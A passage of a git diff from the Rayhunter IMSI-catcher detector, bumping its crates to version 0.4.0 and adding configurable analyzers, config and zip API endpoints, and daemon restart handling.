defined_versions=$(find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \; | sort -u | wc -l)
|
||||
find lib bin installer rootshell telcom-parser -name Cargo.toml -exec grep ^version {} \;
|
||||
echo number of defined versions = $defined_versions
|
||||
if [ $defined_versions != "1" ]
|
||||
then
|
||||
echo "all Cargo.toml files must have the same version defined"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
main:
|
||||
needs: check_version_same
|
||||
permissions:
|
||||
contents: write
|
||||
id-token: write
|
||||
packages: write
|
||||
pages: write
|
||||
uses: ./.github/workflows/main.yml
|
||||
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
needs: main
|
||||
permissions:
|
||||
contents: write
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
- name: Create release
|
||||
run: |
|
||||
version=$(grep ^version lib/Cargo.toml | cut -d' ' -f3 | tr -d '"')
|
||||
gh release create --generate-notes -t "Rayhunter v$version" "v$version" rayhunter-v${version}/rayhunter-*
|
||||
@@ -1,2 +1,3 @@
|
||||
/target
|
||||
/book
|
||||
.DS_Store
|
||||
|
||||
@@ -5,7 +5,7 @@ version = 4
|
||||
[[package]]
|
||||
name = "adb_client"
|
||||
version = "2.1.11"
|
||||
source = "git+https://github.com/gaykitty/adb_client.git?rev=1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81#1fb0f4f5cbcc95bbbb98db4ee2f1e53a1005aa81"
|
||||
source = "git+https://github.com/EFForg/adb_client.git?rev=e511662394e4fa32865c154c40f81a3d846f700c#e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
dependencies = [
|
||||
"async-io",
|
||||
"base64",
|
||||
@@ -46,6 +46,17 @@ version = "2.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cipher",
|
||||
"cpufeatures",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aho-corasick"
|
||||
version = "1.1.3"
|
||||
@@ -157,9 +168,8 @@ checksum = "7c02d123df017efcdfbd739ef81735b36c5ba83ec3c59c80a9d7ecc718f92e50"
|
||||
|
||||
[[package]]
|
||||
name = "asn1-codecs"
|
||||
version = "0.6.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e4ed1fe0647213e739f7ea78f50d3d0f6f9bef7285f6d8672aaca8365decfc3"
|
||||
version = "0.7.0"
|
||||
source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
|
||||
dependencies = [
|
||||
"bitvec",
|
||||
"log",
|
||||
@@ -169,13 +179,13 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "asn1-compiler"
|
||||
version = "0.6.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b1d056f38f3e98ffe9808e6a482d1527e4ded46e72b3dbe77305f5508e76c5f6"
|
||||
version = "0.7.0"
|
||||
source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"bitvec",
|
||||
"clap",
|
||||
"env_logger",
|
||||
"env_logger 0.10.2",
|
||||
"heck 0.4.1",
|
||||
"lazy_static",
|
||||
"log",
|
||||
@@ -187,9 +197,8 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "asn1_codecs_derive"
|
||||
version = "0.6.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "394acf8791d3d345ed71e2e820355c9f8ad4202a99b97e59fb7b6595b18f28cd"
|
||||
version = "0.7.0"
|
||||
source = "git+https://github.com/ystero-dev/hampi?rev=67f3283764eda20022d190c3d3d6edd1a88047e0#67f3283764eda20022d190c3d3d6edd1a88047e0"
|
||||
dependencies = [
|
||||
"asn1-codecs",
|
||||
"bitvec",
|
||||
@@ -240,6 +249,20 @@ dependencies = [
|
||||
"syn 2.0.101",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "async_zip"
|
||||
version = "0.0.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00b9f7252833d5ed4b00aa9604b563529dd5e11de9c23615de2dcdf91eb87b52"
|
||||
dependencies = [
|
||||
"crc32fast",
|
||||
"futures-lite",
|
||||
"pin-project",
|
||||
"thiserror 1.0.69",
|
||||
"tokio",
|
||||
"tokio-util",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "atomic-waker"
|
||||
version = "1.1.2"
|
||||
@@ -350,6 +373,12 @@ version = "0.22.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
||||
|
||||
[[package]]
|
||||
name = "base64_light"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8c6aca08f76b8485947a20a1b3096e5a8cd6edbcecc6d2a8932df9b41d36aadf"
|
||||
|
||||
[[package]]
|
||||
name = "base64ct"
|
||||
version = "1.7.3"
|
||||
@@ -411,6 +440,15 @@ dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "block-padding"
|
||||
version = "0.3.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "built"
|
||||
version = "0.7.7"
|
||||
@@ -504,6 +542,16 @@ dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.4.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"inout",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.5.38"
|
||||
@@ -791,6 +839,16 @@ version = "1.15.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
|
||||
|
||||
[[package]]
|
||||
name = "env_filter"
|
||||
version = "0.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0"
|
||||
dependencies = [
|
||||
"log",
|
||||
"regex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "env_logger"
|
||||
version = "0.10.2"
|
||||
@@ -804,6 +862,19 @@ dependencies = [
|
||||
"termcolor",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "env_logger"
|
||||
version = "0.11.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "13c863f0904021b108aa8b2f55046443e6b1ebde8fd4a15c399893aae4fa069f"
|
||||
dependencies = [
|
||||
"anstream",
|
||||
"anstyle",
|
||||
"env_filter",
|
||||
"jiff",
|
||||
"log",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "equivalent"
|
||||
version = "1.0.2"
|
||||
@@ -921,7 +992,6 @@ checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876"
|
||||
dependencies = [
|
||||
"futures-channel",
|
||||
"futures-core",
|
||||
"futures-executor",
|
||||
"futures-io",
|
||||
"futures-sink",
|
||||
"futures-task",
|
||||
@@ -944,17 +1014,6 @@ version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e"
|
||||
|
||||
[[package]]
|
||||
name = "futures-executor"
|
||||
version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f"
|
||||
dependencies = [
|
||||
"futures-core",
|
||||
"futures-task",
|
||||
"futures-util",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "futures-io"
|
||||
version = "0.3.31"
|
||||
@@ -1003,13 +1062,10 @@ version = "0.3.31"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81"
|
||||
dependencies = [
|
||||
"futures-channel",
|
||||
"futures-core",
|
||||
"futures-io",
|
||||
"futures-macro",
|
||||
"futures-sink",
|
||||
"futures-task",
|
||||
"memchr",
|
||||
"pin-project-lite",
|
||||
"pin-utils",
|
||||
"slab",
|
||||
@@ -1423,15 +1479,28 @@ dependencies = [
|
||||
"hashbrown",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "inout"
|
||||
version = "0.1.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "installer"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
dependencies = [
|
||||
"adb_client",
|
||||
"aes",
|
||||
"anyhow",
|
||||
"axum",
|
||||
"base64_light",
|
||||
"block-padding",
|
||||
"bytes",
|
||||
"clap",
|
||||
"env_logger 0.11.8",
|
||||
"hyper",
|
||||
"hyper-util",
|
||||
"md5",
|
||||
@@ -1503,6 +1572,30 @@ version = "1.0.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c"
|
||||
|
||||
[[package]]
|
||||
name = "jiff"
|
||||
version = "0.2.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f02000660d30638906021176af16b17498bd0d12813dbfe7b276d8bc7f3c0806"
|
||||
dependencies = [
|
||||
"jiff-static",
|
||||
"log",
|
||||
"portable-atomic",
|
||||
"portable-atomic-util",
|
||||
"serde",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jiff-static"
|
||||
version = "0.2.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f3c30758ddd7188629c6713fc45d1188af4f44c90582311d0c8d8c9907f60c48"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 2.0.101",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "jobserver"
|
||||
version = "0.1.33"
|
||||
@@ -2051,6 +2144,21 @@ dependencies = [
|
||||
"windows-sys 0.59.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "portable-atomic"
|
||||
version = "1.11.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
|
||||
|
||||
[[package]]
|
||||
name = "portable-atomic-util"
|
||||
version = "0.2.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8a2f0d8d040d7848a709caf78912debcc3f33ee4b3cac47d73d1e1069e83507"
|
||||
dependencies = [
|
||||
"portable-atomic",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "potential_utf"
|
||||
version = "0.1.2"
|
||||
@@ -2259,15 +2367,13 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"chrono",
|
||||
"crc",
|
||||
"deku",
|
||||
"env_logger",
|
||||
"futures",
|
||||
"futures-core",
|
||||
"libc",
|
||||
"log",
|
||||
"nix",
|
||||
@@ -2280,14 +2386,15 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"async_zip",
|
||||
"axum",
|
||||
"chrono",
|
||||
"clap",
|
||||
"env_logger",
|
||||
"env_logger 0.11.8",
|
||||
"futures",
|
||||
"futures-core",
|
||||
"futures-macro",
|
||||
"image",
|
||||
"include_dir",
|
||||
@@ -2408,7 +2515,7 @@ checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a"
|
||||
|
||||
[[package]]
|
||||
name = "rootshell"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
]
|
||||
@@ -2781,7 +2888,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
|
||||
|
||||
[[package]]
|
||||
name = "telcom-parser"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
dependencies = [
|
||||
"asn1-codecs",
|
||||
"asn1-compiler",
|
||||
@@ -2976,6 +3083,7 @@ checksum = "66a539a9ad6d5d281510d5bd368c973d636c02dbf8a67300bfb6b950696ad7df"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"futures-core",
|
||||
"futures-io",
|
||||
"futures-sink",
|
||||
"futures-util",
|
||||
"hashbrown",
|
||||
|
||||
@@ -2,6 +2,6 @@
|
||||
|
||||
# Rayhunter
|
||||
|
||||

|
||||

|
||||
|
||||
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
edition = "2021"
|
||||
|
||||
[features]
|
||||
# These feature flags are mutually exclusive, and exactly one must be enabled.
|
||||
orbic = ["rayhunter/orbic"]
|
||||
tplink = ["rayhunter/tplink"]
|
||||
wingtech = ["rayhunter/wingtech"]
|
||||
|
||||
default = ["orbic"]
|
||||
|
||||
@@ -22,22 +23,23 @@ path = "src/check.rs"
|
||||
rayhunter = { path = "../lib" }
|
||||
toml = "0.8.8"
|
||||
serde = { version = "1.0.193", features = ["derive"] }
|
||||
tokio = { version = "1.44.2", features = ["full"] }
|
||||
axum = "0.8"
|
||||
futures-core = "0.3.30"
|
||||
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt-multi-thread"] }
|
||||
axum = { version = "0.8", default-features = false, features = ["http1", "tokio", "json"] }
|
||||
thiserror = "1.0.52"
|
||||
libc = "0.2.150"
|
||||
log = "0.4.20"
|
||||
env_logger = "0.10.1"
|
||||
tokio-util = { version = "0.7.10", features = ["rt", "io"] }
|
||||
env_logger = { version = "0.11", default-features = false }
|
||||
tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
|
||||
futures-macro = "0.3.30"
|
||||
include_dir = "0.7.3"
|
||||
mime_guess = "2.0.4"
|
||||
chrono = { version = "0.4.31", features = ["serde"] }
|
||||
tokio-stream = "0.1.14"
|
||||
futures = "0.3.30"
|
||||
tokio-stream = { version = "0.1.14", default-features = false }
|
||||
futures = { version = "0.3.30", default-features = false }
|
||||
clap = { version = "4.5.2", features = ["derive"] }
|
||||
serde_json = "1.0.114"
|
||||
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
|
||||
tempfile = "3.10.1"
|
||||
simple_logger = "5.0.0"
|
||||
async_zip = { version = "0.0.17", features = ["tokio"] }
|
||||
anyhow = "1.0.98"
|
||||
|
||||
@@ -8,7 +8,7 @@ use axum::{
|
||||
};
|
||||
use futures::TryStreamExt;
|
||||
use log::{debug, error, info};
|
||||
use rayhunter::analysis::analyzer::Harness;
|
||||
use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
|
||||
use rayhunter::diag::{DataType, MessagesContainer};
|
||||
use rayhunter::qmdl::QmdlReader;
|
||||
use serde::Serialize;
|
||||
@@ -35,8 +35,12 @@ pub struct AnalysisWriter {
|
||||
// lets us simply append new rows to the end without parsing the entire JSON
|
||||
// object beforehand.
|
||||
impl AnalysisWriter {
|
||||
pub async fn new(file: File, enable_dummy_analyzer: bool) -> Result<Self, std::io::Error> {
|
||||
let mut harness = Harness::new_with_all_analyzers();
|
||||
pub async fn new(
|
||||
file: File,
|
||||
enable_dummy_analyzer: bool,
|
||||
analyzer_config: &AnalyzerConfig,
|
||||
) -> Result<Self, std::io::Error> {
|
||||
let mut harness = Harness::new_with_config(analyzer_config);
|
||||
if enable_dummy_analyzer {
|
||||
harness.add_analyzer(Box::new(TestAnalyzer { count: 0 }));
|
||||
}
|
||||
@@ -131,6 +135,7 @@ async fn perform_analysis(
|
||||
name: &str,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
enable_dummy_analyzer: bool,
|
||||
analyzer_config: &AnalyzerConfig,
|
||||
) -> Result<(), String> {
|
||||
info!("Opening QMDL and analysis file for {}...", name);
|
||||
let (analysis_file, qmdl_file, entry_index) = {
|
||||
@@ -150,9 +155,10 @@ async fn perform_analysis(
|
||||
(analysis_file, qmdl_file, entry_index)
|
||||
};
|
||||
|
||||
let mut analysis_writer = AnalysisWriter::new(analysis_file, enable_dummy_analyzer)
|
||||
.await
|
||||
.map_err(|e| format!("{:?}", e))?;
|
||||
let mut analysis_writer =
|
||||
AnalysisWriter::new(analysis_file, enable_dummy_analyzer, analyzer_config)
|
||||
.await
|
||||
.map_err(|e| format!("{:?}", e))?;
|
||||
let file_size = qmdl_file
|
||||
.metadata()
|
||||
.await
|
||||
@@ -196,6 +202,7 @@ pub fn run_analysis_thread(
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
|
||||
enable_dummy_analyzer: bool,
|
||||
analyzer_config: AnalyzerConfig,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
loop {
|
||||
@@ -204,9 +211,13 @@ pub fn run_analysis_thread(
|
||||
let count = queued_len(analysis_status_lock.clone()).await;
|
||||
for _ in 0..count {
|
||||
let name = dequeue_to_running(analysis_status_lock.clone()).await;
|
||||
if let Err(err) =
|
||||
perform_analysis(&name, qmdl_store_lock.clone(), enable_dummy_analyzer)
|
||||
.await
|
||||
if let Err(err) = perform_analysis(
|
||||
&name,
|
||||
qmdl_store_lock.clone(),
|
||||
enable_dummy_analyzer,
|
||||
&analyzer_config,
|
||||
)
|
||||
.await
|
||||
{
|
||||
error!("failed to analyze {}: {}", name, err);
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use clap::Parser;
|
||||
use futures::TryStreamExt;
|
||||
use log::{info, warn};
|
||||
use rayhunter::{
|
||||
analysis::analyzer::{EventType, Harness},
|
||||
analysis::analyzer::{AnalyzerConfig, EventType, Harness},
|
||||
diag::DataType,
|
||||
gsmtap_parser,
|
||||
pcap::GsmtapPcapWriter,
|
||||
@@ -33,7 +33,7 @@ struct Args {
|
||||
}
|
||||
|
||||
async fn analyze_file(enable_dummy_analyzer: bool, qmdl_path: &str, show_skipped: bool) {
|
||||
let mut harness = Harness::new_with_all_analyzers();
|
||||
let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
|
||||
if enable_dummy_analyzer {
|
||||
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
|
||||
}
|
||||
@@ -137,11 +137,13 @@ async fn main() {
|
||||
.with_colors(true)
|
||||
.without_timestamps()
|
||||
.with_level(level)
|
||||
//Filter out a stupid massive amount of uneccesary warnings from hampi about undecoded extensions
|
||||
.with_module_level("asn1_codecs", log::LevelFilter::Error)
|
||||
.init()
|
||||
.unwrap();
|
||||
info!("Analyzers:");
|
||||
|
||||
let mut harness = Harness::new_with_all_analyzers();
|
||||
let mut harness = Harness::new_with_config(&AnalyzerConfig::default());
|
||||
if args.enable_dummy_analyzer {
|
||||
harness.add_analyzer(Box::new(dummy_analyzer::TestAnalyzer { count: 0 }));
|
||||
}
|
||||
|
||||
@@ -1,8 +1,10 @@
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use rayhunter::analysis::analyzer::AnalyzerConfig;
|
||||
|
||||
use crate::error::RayhunterError;
|
||||
|
||||
use serde::Deserialize;
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
#[serde(default)]
|
||||
pub struct Config {
|
||||
pub qmdl_store_path: String,
|
||||
@@ -11,6 +13,8 @@ pub struct Config {
|
||||
pub ui_level: u8,
|
||||
pub enable_dummy_analyzer: bool,
|
||||
pub colorblind_mode: bool,
|
||||
pub key_input_mode: u8,
|
||||
pub analyzers: AnalyzerConfig,
|
||||
}
|
||||
|
||||
impl Default for Config {
|
||||
@@ -22,15 +26,17 @@ impl Default for Config {
|
||||
ui_level: 1,
|
||||
enable_dummy_analyzer: false,
|
||||
colorblind_mode: false,
|
||||
key_input_mode: 0,
|
||||
analyzers: AnalyzerConfig::default(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
|
||||
pub async fn parse_config<P>(path: P) -> Result<Config, RayhunterError>
|
||||
where
|
||||
P: AsRef<std::path::Path>,
|
||||
{
|
||||
if let Ok(config_file) = std::fs::read_to_string(&path) {
|
||||
if let Ok(config_file) = tokio::fs::read_to_string(&path).await {
|
||||
Ok(toml::from_str(&config_file).map_err(RayhunterError::ConfigFileParsingError)?)
|
||||
} else {
|
||||
Ok(Config::default())
|
||||
|
||||
@@ -4,18 +4,23 @@ mod diag;
|
||||
mod display;
|
||||
mod dummy_analyzer;
|
||||
mod error;
|
||||
mod key_input;
|
||||
mod pcap;
|
||||
mod qmdl_store;
|
||||
mod server;
|
||||
mod stats;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::config::{parse_args, parse_config};
|
||||
use crate::diag::run_diag_read_thread;
|
||||
use crate::error::RayhunterError;
|
||||
use crate::pcap::get_pcap;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
use crate::server::{get_qmdl, serve_static, ServerState};
|
||||
use crate::stats::get_system_stats;
|
||||
use crate::server::{get_config, get_qmdl, get_zip, serve_static, set_config, ServerState};
|
||||
use crate::stats::{get_qmdl_manifest, get_system_stats};
|
||||
|
||||
use analysis::{
|
||||
get_analysis_status, run_analysis_thread, start_analysis, AnalysisCtrlMessage, AnalysisStatus,
|
||||
@@ -30,10 +35,8 @@ use diag::{
|
||||
use log::{error, info};
|
||||
use qmdl_store::RecordingStoreError;
|
||||
use rayhunter::diag_device::DiagDevice;
|
||||
use stats::get_qmdl_manifest;
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::select;
|
||||
use tokio::sync::mpsc::{self, Sender};
|
||||
use tokio::sync::{oneshot, RwLock};
|
||||
use tokio::task::JoinHandle;
|
||||
@@ -45,6 +48,7 @@ fn get_router() -> AppRouter {
|
||||
Router::new()
|
||||
.route("/api/pcap/{name}", get(get_pcap))
|
||||
.route("/api/qmdl/{name}", get(get_qmdl))
|
||||
.route("/api/zip/{name}", get(get_zip))
|
||||
.route("/api/system-stats", get(get_system_stats))
|
||||
.route("/api/qmdl-manifest", get(get_qmdl_manifest))
|
||||
.route("/api/start-recording", post(start_recording))
|
||||
@@ -54,6 +58,8 @@ fn get_router() -> AppRouter {
|
||||
.route("/api/analysis-report/{name}", get(get_analysis_report))
|
||||
.route("/api/analysis", get(get_analysis_status))
|
||||
.route("/api/analysis/{name}", post(start_analysis))
|
||||
.route("/api/config", get(get_config))
|
||||
.route("/api/config", post(set_config))
|
||||
.route("/", get(|| async { Redirect::permanent("/index.html") }))
|
||||
.route("/{*path}", get(serve_static))
|
||||
}
|
||||
@@ -63,14 +69,14 @@ fn get_router() -> AppRouter {
|
||||
// (i.e. user hit ctrl+c)
|
||||
async fn run_server(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
state: Arc<ServerState>,
|
||||
server_shutdown_rx: oneshot::Receiver<()>,
|
||||
) -> JoinHandle<()> {
|
||||
info!("spinning up server");
|
||||
let app = get_router().with_state(state);
|
||||
let addr = SocketAddr::from(([0, 0, 0, 0], config.port));
|
||||
let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
|
||||
let listener = TcpListener::bind(&addr).await.unwrap();
|
||||
let app = get_router().with_state(state);
|
||||
|
||||
task_tracker.spawn(async move {
|
||||
info!("The orca is hunting for stingrays...");
|
||||
axum::serve(listener, app)
|
||||
@@ -116,46 +122,61 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
|
||||
// Start a thread that'll track when user hits ctrl+c. When that happens,
|
||||
// trigger various cleanup tasks, including sending signals to other threads to
|
||||
// shutdown
|
||||
fn run_ctrl_c_thread(
|
||||
fn run_shutdown_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
diag_device_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
daemon_restart_rx: oneshot::Receiver<()>,
|
||||
should_restart_flag: Arc<AtomicBool>,
|
||||
server_shutdown_tx: oneshot::Sender<()>,
|
||||
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_tx: Sender<AnalysisCtrlMessage>,
|
||||
) -> JoinHandle<Result<(), RayhunterError>> {
|
||||
info!("create shutdown thread");
|
||||
|
||||
task_tracker.spawn(async move {
|
||||
match tokio::signal::ctrl_c().await {
|
||||
Ok(()) => {
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
if qmdl_store.current_entry.is_some() {
|
||||
info!("Closing current QMDL entry...");
|
||||
qmdl_store.close_current_entry().await?;
|
||||
info!("Done!");
|
||||
select! {
|
||||
res = tokio::signal::ctrl_c() => {
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {}", err);
|
||||
}
|
||||
|
||||
server_shutdown_tx
|
||||
.send(())
|
||||
.expect("couldn't send server shutdown signal");
|
||||
info!("sending UI shutdown");
|
||||
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
|
||||
ui_shutdown_tx
|
||||
.send(())
|
||||
.expect("couldn't send ui shutdown signal");
|
||||
should_restart_flag.store(false, Ordering::Relaxed);
|
||||
}
|
||||
res = daemon_restart_rx => {
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {}", err);
|
||||
}
|
||||
diag_device_sender
|
||||
.send(DiagDeviceCtrlMessage::Exit)
|
||||
.await
|
||||
.expect("couldn't send Exit message to diag thread");
|
||||
analysis_tx
|
||||
.send(AnalysisCtrlMessage::Exit)
|
||||
.await
|
||||
.expect("couldn't send Exit message to analysis thread");
|
||||
}
|
||||
Err(err) => {
|
||||
error!("Unable to listen for shutdown signal: {}", err);
|
||||
|
||||
should_restart_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
};
|
||||
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
if qmdl_store.current_entry.is_some() {
|
||||
info!("Closing current QMDL entry...");
|
||||
qmdl_store.close_current_entry().await?;
|
||||
info!("Done!");
|
||||
}
|
||||
|
||||
server_shutdown_tx
|
||||
.send(())
|
||||
.expect("couldn't send server shutdown signal");
|
||||
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
|
||||
let _ = ui_shutdown_tx.send(());
|
||||
}
|
||||
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
|
||||
let _ = key_input_shutdown_tx.send(());
|
||||
}
|
||||
diag_device_sender
|
||||
.send(DiagDeviceCtrlMessage::Exit)
|
||||
.await
|
||||
.expect("couldn't send Exit message to diag thread");
|
||||
analysis_tx
|
||||
.send(AnalysisCtrlMessage::Exit)
|
||||
.await
|
||||
.expect("couldn't send Exit message to analysis thread");
|
||||
Ok(())
|
||||
})
|
||||
}
|
||||
@@ -165,8 +186,19 @@ async fn main() -> Result<(), RayhunterError> {
|
||||
env_logger::init();
|
||||
|
||||
let args = parse_args();
|
||||
let config = parse_config(&args.config_path)?;
|
||||
|
||||
loop {
|
||||
let config = parse_config(&args.config_path).await?;
|
||||
if !run_with_config(&args, config).await? {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_with_config(
|
||||
args: &config::Args,
|
||||
config: config::Config,
|
||||
) -> Result<bool, RayhunterError> {
|
||||
// TaskTrackers give us an interface to spawn tokio threads, and then
|
||||
// eventually await all of them ending
|
||||
let task_tracker = TaskTracker::new();
|
||||
@@ -175,10 +207,11 @@ async fn main() -> Result<(), RayhunterError> {
|
||||
let store = init_qmdl_store(&config).await?;
|
||||
let analysis_status = AnalysisStatus::new(&store);
|
||||
let qmdl_store_lock = Arc::new(RwLock::new(store));
|
